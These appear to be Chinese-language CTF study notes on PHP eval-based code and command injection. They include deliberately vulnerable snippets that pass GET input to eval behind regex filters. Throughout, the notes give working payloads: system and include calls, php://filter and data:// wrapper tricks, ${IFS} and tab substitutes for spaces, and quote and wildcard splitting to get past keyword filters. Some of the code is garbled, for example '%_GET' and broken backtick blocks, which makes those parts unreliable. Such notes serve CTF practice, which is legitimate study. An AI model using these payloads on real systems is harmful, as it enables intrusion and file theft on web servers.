函数执行函数
执行 php 代码
<?php
$c = %_GET['c'];
eval($c);
- eval
- include
在包含文件的时候会执行,include 不需要()
可以用来绕过过滤
常见文件包含伪协议达到目的:?c=include%09$_POST["url"]?>
,post 传入伪协议url=php://filter/read=convert.base64-encode/resource=flag.php
- system
有回显,`?c=system("nl flag.php");`
- passthru
- exec
- shell_exec
- 反引号
无回显,需要加 echo 输出终端运行的结果 `?c=echo 'nl flag.php';`
<a name="aZ6YF"></a>
# 函数执行转命令执行
```php
<?php
$c = $_GET['c'];
eval($c);
- eval 等:执行 php 代码
- system 等:执行 linux 代码
调用命令执行函数即可:
?c=system($_GET[a]);
?c=system($_POST[a]);
输出函数
- cat
- tac
- more
- less
- head
- tail
- nl
- sed
- sort
- uniq
- rev
过滤字符
空格
linux bash 下空格替代
- %09
等于 tab
- ${IFS}
$IFS 在linux下表示分隔符,加一个{}
就固定了变量名IFS
- $IFS$9
$9 指的是当前系统 shell 进程的第九个参数的持有者,就是一个空字符串,因此 $9 相当于没有加东西,等于做了一个前后隔离
- $IFS%09
等于 tab
- <
- <>
- %20
链接符
用于绕过正则匹配文件名
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
单引号
nl fl''ag.php
双引号
nl fl""ag.php
通配符
nl fla*
分号
引号
过滤单引号时,使用双引号绕过
- 过滤双引号时,使用单引号绕过
- 过滤单、双引号,使用数字\字母变量绕过
``php <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\
|echo|\;|(|\”/i”, $c)){
}eval($c);
}else{
highlightfile(_FILE);
}
``
请求参数:
?c=include%09$_POST[1]?>;post 包:
1=data://text/plain,<?php%20system(‘nl flag.php’);?>`
参考文章
https://blog.csdn.net/weixin_39808803/article/details/111341667